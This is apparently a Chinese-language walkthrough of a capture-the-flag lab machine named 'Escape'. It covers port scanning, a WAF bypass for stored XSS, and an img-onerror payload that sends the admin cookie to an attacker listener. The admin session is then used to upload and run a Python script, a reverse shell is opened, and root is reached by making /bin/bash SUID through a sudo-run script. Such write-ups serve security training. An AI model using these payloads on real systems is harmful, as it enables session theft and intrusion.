

Escape

信息收集

端口扫描

```
└─(root@kali)-[~]
└─# nmap 192.168.1.10
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-30 07:57 EDT
Nmap scan report for 192.168.1.10 (192.168.1.10)
Host is up (0.000093s latency).
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8081/tcp   open  blackice-icecap
MAC Address: 08:00:27:DE:88:E9 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
```

Web探测

访问首页，从导航栏发现 5 个端点：

```
/          - 首页
/message   - 留言板
/search    - 搜索
/login     - 登录
/register  - 注册
```

进一步枚举隐藏路径：

```
/admin      → 403 Forbidden
/admin/upload → 403 Forbidden
/admin/scripts → 403 Forbidden
/admin/run/  → 403 Forbidden
```

存在 Admin 面板，但需要认证才能访问。

XSS 漏洞发现

在Message Board内发现存在xss注入的迹象，但有参数被过滤了，尝试绕过

测试多种 payload 后发现 WAF 仅过滤 `<script>...</script>` 标签：

Payload	结果
<code><script>alert(1)</script></code>	被过滤
<code></code>	通过
<code><svg onload=alert(1)></code>	通过
<code><body onload=alert(1)></code>	通过
<code></code>	通过

Session Token 设计缺陷

随意注册一个账号

刷新界面，bp抓包时发现一个关键问题——**Cookie值 就是明文密码**：

```
Cookie: session=114514
```

114514 是注册时填写的密码。这意味着窃取到 Cookie 即直接获取了密码。

窃取 Admin Cookie

部署 XSS Payload

用 `<img onerror>` 绕过 WAF，构造 cookie 窃取 payload：

```
<img src=x onerror="new Image().src='http://192.168.1.9:8000/?c='+document.cookie">
```

收到 Admin Bot 回调

```
(root@kali) - [~/tmp]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.1.4 - - [30/Jun/2026 06:31:00] "GET /?c=session=1 HTTP/1.1" 200 -
192.168.1.10 - - [30/Jun/2026 06:31:02] "GET /?c=&s=session%3Db628095fd53c29d30760cc62 HTTP/1.1" 200 -
```

关键信息：

- `session=b628095fd53c29d30760cc62` — Admin 的 Session Cookie

拿这个session值进行登陆

Admin 面板 → 命令执行

Admin 功能探索

登录后访问 `/admin`，发现几个功能：

```
/admin/upload    - 上传 Python 脚本
/admin/scripts   - 已上传脚本列表
/admin/run/      - 执行脚本
/admin/reset     - 重置数据
```

上传脚本获取 Shell

写个Python 脚本，看看能否执行命令：

```
import os
print(os.popen("id").read())
```

Run: 1.py

Result: 1.py

Run Again

Output

```
uid=1001 (escape) gid=1001 (escape) groups=1001 (escape)
```

Edit Script

```
import os
print(os.popen("id").read())
```

可以执行命令，那么直接反弹shell

```
└─(root@kali)-[~]
└─# ./penelope.py -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234 → 127.0.0.1 • 192.168.1.9 •
172.17.0.1 • 172.18.0.1
➤ 🏠 Main Menu (m) 🧠 Payloads (p) 🗑 clear (Ctrl-L) 🚪 Quit (q/Ctrl-C)
[+] Got reverse shell from Escape~192.168.1.10-Linux-x86_64 😊 Assigned
SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 🎉
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /root/.penelope/Escape~192.168.1.10-Linux-x86_64/2026_06_30-
06_19_43-122.log 📄
```

```
escape@Escape:/var/www/html/uploads$ id
uid=1001(escape) gid=1001(escape) groups=1001(escape)
```

escape — Root

当前用户 `escape` 无 sudo 权限

进程分析

```
escape      392  0.0  1.1  33572 23260 ?        Ss   06:07   0:02
/usr/bin/python3 /var/www/html/app.py
botuser     395  0.1  3.4  78336 68496 ?        Ss   06:07   0:11
/usr/bin/python3 /var/www/html/admin_dog.py
```

发现一个以 `botuser` 身份运行的进程：`admin_dog.py`。

读一下 `admin_dog.py`

Pigeon 机制:

```
def check_for_pigeon(html, opener, admin_cookies, base_url):
    """Detect [PIGEON:callback_url] commands in message content.
    when found, execute /var/www/html/uploads/key.py and exfiltrate output.
    The dog remembers where the master keeps his keys."""
    matches = re.findall(r'\[PIGEON:([^\]]+)\]', html)
    for cb_url in matches:
        cb_url = cb_url.strip()
        log("[Pigeon] Detected key request, callback to: " + cb_url[:60])
        try:
            import subprocess
            result = subprocess.run(
                ["sudo", "python3", "/var/www/html/uploads/key.py"],
                capture_output=True, text=True, timeout=10
            )
            output = result.stdout + result.stderr
            if output:
                encoded = urllib.parse.quote(output)
                full_url = cb_url + "?key=" + encoded
                urllib.request.urlopen(full_url, timeout=5)
                log("[Pigeon] Output exfiltrated (" + str(len(output)) + "
bytes)")
            else:
                log("[Pigeon] key.py produced no output")
        except Exception as e:
            log("[Pigeon] Error: " + str(e)[:60])
```

分析:

1. Bot 在消息中匹配 `[PIGEON:url]` 模式
2. 执行 `sudo python3 /var/www/html/uploads/key.py` — 以 **root** 身份运行
3. 将脚本输出通过 HTTP 回调发送到指定 URL
4. `/var/www/html/uploads/` 目录对 `escape` 用户可写

Pigeon 提权攻击

写一个 `key.py`

```
escape@Escape:/var/www/html/uploads$ cat key.py
import os
os.chmod("/bin/bash", 0o4755)
```

等待定时任务执行

```
escape@Escape:/var/www/html/uploads$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1298416 May  9 07:07 /bin/bash
escape@Escape:/var/www/html/uploads$ bash -p
bash-5.2# id
uid=1001(escape) gid=1001(escape) euid=0(root) groups=1001(escape)
```

Flag

```
bash-5.2# cat user.txt /root/root.txt
flag{user-010d268abdede1f79b53b83ac162227d}
flag{root-a3e3da6a8b394e449428d069ef690fa0}
```